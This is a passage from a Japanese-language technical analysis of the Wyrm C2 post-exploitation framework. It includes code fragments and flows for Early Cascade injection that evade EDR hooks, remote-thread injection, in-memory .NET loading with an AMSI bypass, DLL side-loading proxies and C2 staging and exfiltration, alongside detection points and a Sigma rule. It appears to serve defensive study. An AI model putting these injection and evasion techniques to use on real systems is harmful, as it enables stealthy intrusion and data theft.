  • StringStomp: C2サーバ側のビルド後処理で、プロファイル指定の文字列パターンをバイナリからゼロ埋めまたは置換
  • PE Scrub: Rich Headerの除去等、コンパイラメタデータを削除
  • Timestomp: ファイルのタイムスタンプをプロファイル指定の値で上書き

6. プロセスインジェクション

6.1 Early Cascade Injection (spawn_inject/early_cascade.rs, stubs/shim.rs)

技術的背景

Outflankが2024年10月に公開した研究に基づく、Windowsプロセス初期化の極めて早い段階(ntdll初期化中)でコードを実行するインジェクション手法です。従来のAPC Injection、Thread Hijacking、QueueUserAPC等と異なり、プロセスがユーザーモードの初期化を完了する前に介入するため、EDRのユーザーランドフックが設置される前にコードを実行できます。

ntdll Shimエンジンの悪用

Windowsの互換性レイヤー(Application Compatibility Shim Engine)は、DLLロード時にntdll内部のコールバック機構を通じてShimを適用します。具体的には:

  • g_ShimsEnabled: Shimエンジンが有効かどうかを示すフラグ(非エクスポート、byte ptr
  • g_pfnSE_DllLoaded: DLLロード時に呼び出されるコールバック関数ポインタ(非エクスポート)

これらはntdll.dllの非エクスポート変数であり、通常のAPIでは取得できません。

バイトパターンスキャンによるアドレス解決

shared_no_std/src/memory.rs: locate_shim_pointers()ntdll.dll.textセクションをバイトパターンスキャンして、g_pfnSE_DllLoadedg_ShimsEnabledのアドレスを特定します:

g_pfnSE_DllLoadedのパターン:

48 8b 3d [d0 c3 12 00]   // mov rdi, qword ptr [ntdll!g_pfnSE_DllLoaded]
83 e0 3f                   // and eax, 3Fh
44 2b e0                   // sub r12d, eax
8b c2                      // mov eax, edx
41 8a cc                   // mov cl, r12b

パターン検出後、RIP相対アドレッシングのオフセット(パターン先頭+3バイト目から4バイトのi32)と命令長(7バイト)から実際のアドレスを計算:

let offset = read_unaligned((pattern_addr + 3) as *const i32);
let actual_addr = pattern_addr + offset + 7;  // RIP + instruction_length + imm32

g_ShimsEnabledのパターン:

e8 [33 38 f5 ff]          // call ntdll!RtlEnterCriticalSection
44 38 2d [e4 84 11 00]    // cmp byte ptr [ntdll!g_ShimsEnabled], r13b
48 8d 35 [95 89 11 00]    // lea rsi, [ntdll!PebLdr+0x10]

スキャン範囲は最大1,500,000バイト。開始アドレスはRtlCompareStringのアドレスを.textセクションの近似開始点として使用。

処理フロー

early_cascade_inject(spawn_as_path, payload_buf)
├─ stomp_pe_header_bytes(buf)      // MZヘッダ等の破壊
├─ CreateProcessA(spawn_as_path, CREATE_SUSPENDED)
│   └─ デフォルト: "C:\Windows\System32\svchost.exe"
├─ write_image_rw(h_process, buf)  // リモートプロセスにRW書き込み
│   ├─ VirtualAllocEx(h_process, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
│   └─ WriteProcessMemory()
├─ find_entrypoint_from_unmapped_image(buf, p_alloc, "Shim")
│   └─ 未マップPEからShimエクスポートのアドレスを計算
├─ encode_system_ptr(p_start)      // ntdllポインタ暗号化の準拠
├─ VirtualProtectEx(PAGE_EXECUTE_READWRITE)
├─ locate_shim_pointers()          // バイトパターンスキャン
├─ execute_early_cascade(ptrs, h_process, p_start)
│   ├─ WriteProcessMemory(g_pfnSE_DllLoaded = Shimスタブのアドレス)
│   └─ WriteProcessMemory(g_ShimsEnabled = 1)
└─ ResumeThread(h_thread)

ntdllポインタ暗号化 (encode_system_ptr)

ntdll内部のポインタはSharedUserData!Cookie (0x7FFE0330)で暗号化されています。g_pfnSE_DllLoadedに書き込むポインタもこの暗号化に準拠する必要があります:

fn encode_system_ptr(ptr: *const c_void) -> *const c_void {
    let cookie = unsafe { *(0x7FFE0330 as *const u32) };
    let xored = cookie as usize ^ ptr as usize;
    let rotated = xored.rotate_right((cookie & 0x3F) as u32);
    rotated as *const c_void
}

SharedUserDataは全プロセスで同一の値がマップされているため、現在のプロセスから読み取ったCookie値はターゲットプロセスでも有効です。

Shimスタブ (stubs/shim.rs: Shim())

ターゲットプロセス内で実行されるスタブ。プロセス初期化中にntdllがg_pfnSE_DllLoadedを呼び出すと、このスタブが実行されます:

pub extern "system" fn Shim() -> u32 {
    // 1. NtQueueApcThreadを解決
    let p_nt_queue_apc_thread = resolve_address("ntdll.dll", "NtQueueApcThread", None);

    // 2. Shimフラグをクリーンアップ(g_ShimsEnabled = 0に戻す)
    let shim_ptrs = locate_shim_pointers();
    core::ptr::write_unaligned(shim_ptrs.p_g_shims_enabled, 0u8);

    // 3. 自スレッド(-2)にAPCをキューし、Load()(rDI)を実行
    let current_thread = -2isize;  // NtCurrentThread擬似ハンドル
    NtQueueApcThread(current_thread, Load as *const _, 0, 0, 0);
}

NtQueueApcThreadで自スレッドにAPCをキューすることで、ntdllの初期化完了後(NtTestAlert呼び出し時)にrDIのLoad()が実行されます。これはクロスプロセスAPCQueueUserAPC等)を使用しないため、EDRのクロスプロセス監視を回避します。

検知観点: CREATE_SUSPENDEDでのプロセス作成、ntdll内メモリへのWriteProcessMemory(特にg_ShimsEnabledg_pfnSE_DllLoadedの書き換え)、その後のResumeThreadというパターンは強力なIOCです。作者自身もv0.7.2リリースノートで「EDRに対する有効性には疑問が残る」と記載しています(Smukx氏の検証による)。

MITRE ATT&CK マッピング: T1055.012 (Process Injection: Process Hollowing - 類似手法として)

参考:

6.2 通常インジェクション (spawn_inject/injection.rs)

CreateRemoteThreadを使用する古典的手法(内部名称: "Virgin Inject")。inject <staged_name> <pid>コマンドで使用されます。

処理フロー: 1. C2からステージドペイロードを取得 2. OpenProcess(PROCESS_ALL_ACCESS)でターゲットプロセスを開く 3. VirtualAllocEx(PAGE_READWRITE)でメモリ確保 4. WriteProcessMemory()ペイロード書き込み 5. VirtualProtectEx(PAGE_EXECUTE_READ)で保護属性変更 6. CreateRemoteThread()ペイロードを実行

MITRE ATT&CK マッピング: T1055.001 (Process Injection: DLL Injection)


7. .NETインメモリ実行 (execute/dotnet.rs)

7.1 CLR Hostingフロー

execute_dotnet_assembly(buf, args)
├─ create_clr_instance()       // CLRMetaHost取得 (COM: CLSIDFromString + CoCreateInstance)
├─ get_runtime_v4()            // ICLRRuntimeInfo → .NET 4.x ランタイム取得
├─ get_cor_runtime_host()      // ICorRuntimeHostインターフェース取得
├─ start_runtime()             // ICLRRuntimeHost::Start()
├─ get_default_appdomain()     // デフォルトAppDomain取得 → _AppDomainにキャスト
├─ make_params(args)           // 引数をSAFEARRAY化
│   └─ args_to_safe_array() → SafeArrayCreateVector(VT_BSTR)
│   └─ SafeArrayCreateVector(VT_VARIANT, 0, 1) でラップ
├─ create_safe_array(buf)      // .NETアセンブリバイト列をSAFEARRAY化
│   └─ SafeArrayCreateVector(VT_UI1, 0, buf.len())
├─ [デコイロード]
│   └─ Load_3(decoy_sa)       // amsi.dllの強制ロードのため空バイトをロード試行
├─ evade_amsi()                // VEH²でAMSIバイパス (§5.2)
├─ Load_3(target_sa)           // 本命アセンブリのロード
├─ get_EntryPoint()            // _MethodInfo::get_EntryPoint()
├─ Invoke_3()                  // _MethodInfo::Invoke_3() で実行
├─ SafeArrayDestroy(p_sa)     // シグネチャ付きアセンブリをメモリから削除
└─ 出力文字列を返却

7.2 COM vtable手動定義

RustにはCOM Interopの標準サポートがないため、必要なCOMインターフェース(ICLRMetaHost, ICLRRuntimeInfo, ICorRuntimeHost, _AppDomain, _Assembly, _MethodInfo等)のvtableを手動で#[repr(C)]構造体として定義し、関数ポインタをunsafeで呼び出しています。

これによりwindowsクレートのCOMサポートへの依存を排除し、バイナリサイズを削減するとともに、EDRが監視する高レベルCOMヘルパー関数の使用を回避しています。

7.3 stdout/stderrキャプチャ

Console.SetOut/Console.SetErrorをCOM経由で呼び出し、StringWriterにリダイレクトすることで、.NETアセンブリの出力をキャプチャしてC2に返送します。これによりRubeus.exe等のツールの出力をオペレータに提供できます。

MITRE ATT&CK マッピング: T1059.001 (PowerShell - .NET assembly execution variant)

参考:


8. DLLサイドローディングとエクスポートプロキシ (utils/proxy.rs, utils/export_comptime.rs)

8.1 ビルド時エクスポート生成

プロファイルのexports設定に基づき、build.rsが3種類のエクスポートを動的生成します:

Type 1: EXPORTS_JMP_WYRM

呼び出されるとstart_wyrm()を起動するエクスポート。build_dll_export_by_name_start_wyrm!マクロで生成:

macro_rules! build_dll_export_by_name_start_wyrm {
    ($name:ident) => {
        #[unsafe(no_mangle)]
        unsafe extern "system" fn $name() {
            internal_dll_start(StartType::FromExport);
        }
    };
}

Type 2: EXPORTS_USR_MACHINE_CODE

ユーザ定義のマシンコード(バイト列)を含むnaked関数として生成。naked_asm!を使用してプロローグ/エピローグなしの純粋なバイト列を出力:

macro_rules! build_dll_export_by_name_junk_machine_code {
    ($name:ident, $($b:expr),+) => {
        #[unsafe(no_mangle)]
        #[unsafe(naked)]
        unsafe extern "system" fn $name() {
            naked_asm!($( concat!(".byte ", stringify!($b)), )+)
        }
    };
}

Type 3: EXPORTS_PROXY

正規DLLへのエクスポート転送(リンカレベルのexport forwarding):

cargo:rustc-link-arg=/export:FunctionName=target.FunctionName

8.2 プロキシの実行時解決

proxy.rsresolve_and_call_proxy()は、実行時に正規DLL(System32から読み込み)のエクスポートをLoadLibraryAGetProcAddressで解決し、transmuteでキャスト後に呼び出します。これにより正規DLLの機能を維持しつつ、Wyrmを並行して起動できます。

MITRE ATT&CK マッピング: T1574.002 (Hijack Execution Flow: DLL Side-Loading)

参考:


9. Wyrm Object Files (WOFs) (wofs/, build.rs)

9.1 概要

WOFはコンパイル時にimplantにスタティックリンクされる小さなコードモジュールです。Cobalt StrikeのBOF (Beacon Object Files)に類似しますが、BOFがランタイムにオブジェクトファイルを動的にロードするのに対し、WOFはビルド時に静的リンクされるため、ランタイムのメモリ操作が不要です。

C/C++のソースまたはプリコンパイル済みの.o/.objファイルをサポートし、Rust(no_std + staticlib)で記述されたモジュールも利用可能です。

9.2 ビルドプロセス

build.rs: build_static_wofs()
├─ WOF環境変数からディレクトリリスト取得
├─ 各ディレクトリについて (wofs_static/<name>/):
│   ├─ .h/.hpp → include パスとして追加
│   ├─ .c/.cpp/.cc → cc::Build で中間オブジェクトにコンパイル
│   └─ .o/.obj → リンカに直接渡す (cargo:rustc-link-arg)
├─ dump_symbols() でエクスポートシンボルを抽出
├─ 生成コード (wof.rs):
│   ├─ extern "C" { fn <symbol>(*const c_void) -> i32; }
│   └─ all_wofs() → &[("name", fn_ptr), ...] のルックアップテーブル
└─ wof.rs として OUT_DIR に書き出し

実行時はwof <function_name> [arg]コマンドでall_wofs()テーブルを検索し、該当するFFI関数を呼び出します。引数は*const c_voidポインタとして渡されます。

9.3 WOFの作成例(Rust)

#![no_std]
#![no_main]

use core::ptr::null_mut;
use windows_sys::Win32::UI::WindowsAndMessaging::{MB_OK, MessageBoxA};

#[cfg_attr(not(test), panic_handler)]
fn panic(_: &core::panic::PanicInfo) -> ! { loop {} }

#[unsafe(no_mangle)]
pub extern "system" fn rust_bof() -> u32 {
    let msg = "rust bof\0";
    unsafe { MessageBoxA(null_mut(), msg.as_ptr(), msg.as_ptr(), MB_OK); }
    0
}

コンパイル: cargo rustc --lib --target x86_64-pc-windows-msvc --release -- --emit=obj -C codegen-units=1

生成された.oファイルをwofs_static/<name>/に配置し、プロファイルのwofsリストに追加するだけで利用可能になります。

MITRE ATT&CK マッピング: T1106 (Native API)


10. C2サーバ (c2/)

10.1 アーキテクチャ

Axumベースの非同期HTTPサーバです。主なコンポーネント

  • api/ — Axumルーターとハンドラ
    • agent_get.rs — エージェントからのGETリクエスト処理(タスク配布)
    • agent_post.rs — エージェントからのPOSTリクエスト処理(結果受信、チェックイン、ファイルexfiltration)
    • admin_routes.rs — オペレータ向けAPI(タスキング、ビルド、ステージング等)
  • middleware.rs — セキュリティトークンによるエージェント認証ミドルウェア
  • db.rsPostgreSQLとのCRUD操作 (sqlxクレート、コンパイル時クエリ検証)
  • profiles.rs — TOMLプロファイルのパース
  • admin_task_dispatch/ — オペレータコマンドの処理とエージェントへのタスク割り当て
  • implant_builder.rs — 動的ペイロードビルド(cargo build呼び出し + PE加工)
  • pe_utils.rs — PEバイナリの後処理(StringStomp、PE Scrub)
  • net.rs — タスクのシリアライズとネットワークエンコーディング

サーバ設定: POSTボディの最大サイズは100GB(MAX_POST_BODY_SZ)。認証Cookieの有効期限は12時間(COOKIE_TTL)。AxumのCatchPanicLayerでパニックをキャッチし、サーバ全体のクラッシュを防止。

10.2 認証

エージェント認証

middleware.rsauthenticate_agent_by_header_token()Authorizationヘッダのトークンをプロファイル定義のトークンセットと照合。ステージングエンドポイントへのダウンロードリクエストは認証不要(フィッシングキャンペーン等での配布を想定)。

不正なトークンには意図的に502 Bad Gatewayを返す。これはNGINXやロードバランサーのバックエンド障害を装うOPSEC上の判断です。ブルートフォースやスキャナーに対してC2サーバの存在を隠蔽します。未登録のエンドポイントへのアクセスも同様に502を返します。

オペレータ認証

bcryptハッシュ + ランダムsaltで認証。bcrypt(COST, salt, password)のハッシュとsaltをBase64エンコードしてDBに保存。rust-cryptoクレートを使用。セッション管理はaxum-extraCookieミドルウェアで実装。

10.3 動的ペイロードビルド (admin_task_dispatch/implant_builder.rs)

build_agent()
├─ プロファイルからビルド設定読み込み
├─ エクスポート設定のパース → 環境変数化
├─ WOF設定のバリデーション (validate_wof_dirs)
├─ cargo build --target x86_64-pc-windows-gnu
│   (環境変数でIOCを渡し、feature flagでevasion機能を制御)
│   feature flags: patch_etw, patch_amsi, sandbox_trig, sandbox_mem
├─ [オプション] StringStomp でバイナリ加工
│   └─ 指定文字列をゼロ埋めまたは置換
├─ [オプション] PE Scrub (Rich Header除去等)
├─ XOR暗号化(0x90)してloader用バイナリ生成
├─ loader のビルド (rDLLを埋め込み)
│   └─ EXE, DLL, SVC の3形態を生成
└─ 7zipアーカイブ化 → ブラウザ経由でダウンロード

10.4 プロファイルシステム (profiles.rs)

TOMLベースのプロファイルで、1ファイル内に複数のimplant設定を定義可能:

[server]
token = "server_auth_token"

[implants.profile_name]
svc_name = "WyrmSvc"
debug = false

[implants.profile_name.network]
address = "https://c2.example.com"
uri = ["/api/v1", "/health", "/status"]
port = 443
token = "agent_token"
sleep = 5
useragent = "Mozilla/5.0 ..."
jitter = 20

[implants.profile_name.evasion]
patch_etw = true
patch_amsi = true
timestomp = "2024-01-15T12:00:00"
spawn_as = "C:\\Windows\\System32\\svchost.exe"

[implants.profile_name.anti_sandbox]
trig = true
ram = true

[implants.profile_name.exports]
# ... エクスポート定義

[implants.profile_name.string_stomp]
# ... 文字列除去パターン

mutex = "Global\\WyrmMutex"
wofs = ["mimikatz", "custom_tool"]

10.5 ステージングとファイル配布

staged_files/ディレクトリでファイルを管理。各ステージドリソースにはカスタムエンドポイントが割り当てられ、ダウンロード数がDBで追跡されます。

参考:


11. Operator Client (client/)

Leptos(Rustベースのリアクティブフレームワーク)+ WebAssemblyで構築されたSPAです。

主な機能: - ダッシュボード — 接続中エージェントの一覧表示、リアルタイムポーリング - ビーコンコンソール — 各エージェントへのインタラクティブなタスキングインターフェース - プロファイルビルダーペイロードのビルドとダウンロード(7zipアーカイブ) - ステージングリソース管理 — ファイルのアップロードとステージング - チャット履歴 — ブラウザのlocalStorageでコンソール出力を永続化 - エージェント通知 — 未読通知のポーリング

Caddyをリバースプロキシとして使用し、Dockerコンテナ内でWASMとして配信されます。

参考:


12. インフラストラクチャ

Docker Compose構成

┌─────────────┐     ┌──────────┐     ┌────────────┐
│   NGINX     │────▶│  C2      │────▶│ PostgreSQL │
│  (reverse   │     │  (Axum)  │     │            │
│   proxy)    │     │  :13371  │     │  :5432     │
└─────────────┘     └──────────┘     └────────────┘
       │
       │            ┌──────────┐
       └───────────▶│  Client  │
                    │  (Caddy) │
                    │  :4040   │
                    └──────────┘

NGINX設定の詳細

NGINXは以下の機能を提供: - X-Forwarded-ForヘッダでクライアントIPを転送 - client_max_body_size 0で無制限のPOSTボディを許可(大容量ファイルexfiltration対応) - CORS設定(Access-Control-Allow-Origin, Access-Control-Allow-Credentials) - プロキシタイムアウト1200秒(20分)— implantビルドの長時間処理に対応 - proxy_request_buffering offでストリーミングアップロードに対応

PostgreSQL

sqlxマイグレーションシステムで管理。主要テーブル: - agents — 接続中エージェントの情報 - tasks — タスクキュー(completedフラグ + agent_id外部キー) - agent_staging — ステージドペイロードの管理

Dockerボリュームでデータ永続化。.envでDB認証情報と管理者トークンを設定。


13. OPSEC評価と検知観点

検知可能なポイント(Detection Engineering向け)

観点 詳細 検知手法 MITRE ATT&CK
メモリスキャン rDIはVirtualAlloc(RW)VirtualProtect(RX/RWX)パターン。unbacked実行可能メモリ ETWプロバイダ Microsoft-Windows-Kernel-Memory、Moneta/pe-sieve T1055.001
ETWパッチ NtTraceEvent先頭バイト0xC3改ざん ntdll integrity check、カーネルモードETW監視 T1562.001
AMSIバイパス (VEH²) AddVectoredExceptionHandler + Dr0/Dr7変更 AVEH呼び出し監視 + デバッグレジスタ変更検知 T1562.001
Early Cascade CREATE_SUSPENDED + ntdll WriteProcessMemory + ResumeThread Sysmon EventID 1 (ProcessCreate) + EventID 10 (ProcessAccess) T1055.012
通信パターン WWW-Authenticateヘッダにimplant ID。周期的なHTTP GETポーリング Zeek/Suricataルール、JA3/JA4フィンガープリント T1071.001
PowerShell実行 powershell.exeの子プロセス生成 Sysmon EventID 1、ScriptBlock Logging T1059.001
プロセスツリー svchost.exe等の不正な親プロセス プロセスツリー分析 T1036.005
XOR暗号化 固定キー0x3d(ネットワーク)、0x90ペイロード 既知平文攻撃、統計的分析 T1573.001

Sigmaルール例(Early Cascade検知)

title: Suspicious CREATE_SUSPENDED with ntdll Memory Write
status: experimental
logsource:
    category: process_access
    product: windows
detection:
    selection:
        TargetImage|endswith: '\ntdll.dll'
        GrantedAccess|contains: '0x20'  # PROCESS_VM_WRITE
    condition: selection
level: high

現時点での制限/弱点

制限事項 影響 将来計画
syscallの直接/間接呼び出し未対応 ユーザモードフック(ntdll inline hook)で全API呼び出しが傍受可能 ロードマップに記載
スリープマスキング未実装 スリープ中もメモリ内容がスキャン可能(RWXメモリの長時間存在) ロードマップに記載
スタックスプーフィング未実装 unbacked memoryからのコールスタックがEDRに検知される ロードマップに記載
XOR暗号化は暗号学的に脆弱 固定キー(0x3d, 0x90)により容易に解読可能 PQC暗号化を計画
x86(32bit)未対応 32bitプロセスへのインジェクション不可 -
SMBビーコン / DNS C2未実装 HTTP(S)のみ。ネットワーク制限環境で使用不可 DNS C2をロードマップに記載
Domain Fronting未実装 コード内にTODOコメントあり 将来実装予定

参考:


14. まとめ

Wyrm C2はRustの安全性と低レベル制御能力を活かし、Windows環境に特化したポスト・エクスプロイテーション基盤を提供します。特に以下の点が技術的に注目されます:

  1. 完全なno_std rDIスタブ — PEB走査によるexport解決、セクションマッピング、IAT patching、ベースリロケーションまでを外部依存なしにRustで型安全に実装。calculate_image_base()による自己発見メカニズムがEarly Cascade対応の鍵
  2. Early Cascade Injection — ntdllのShimエンジンのバイトパターンスキャンによる非エクスポート変数の動的解決、SharedUserData!Cookieによるポインタ暗号化の準拠、intra-process APCによるクロスプロセス監視回避
  3. VEH²によるAMSIバイパス — ハードウェアブレークポイント(Dr0/Dr7)でコード改ざんなしにAmsiScanBufferの戻り値を制御。デコイロードによるamsi.dllの強制ロードが成功率を向上
  4. コンパイルIOC暗号化build.rs + str_cryptersc!マクロによるスタック上復号型の文字列暗号化
  5. 多層的なプロファイル駆動ビルド — エクスポート(3種類)、evasion機能(feature flag)、WOF統合、StringStomp、PE Scrubを宣言的に制御

今後のロードマップにはsyscall対応、スリープマスキング、スタックスプーフィング、PQC暗号化、DNS C2チャネル、Domain Fronting、ルートキット等が含まれており、継続的な開発が見込まれます。

注意: このドキュメントは教育・研究目的で作成されています。実際の使用は法的に許可されたセキュリティテスト環境に限定してください。

(本ドキュメントは2026年2月時点の公開ソースコード(v0.7.2)に基づきます。将来的な更新で変更される可能性があります。)

参考: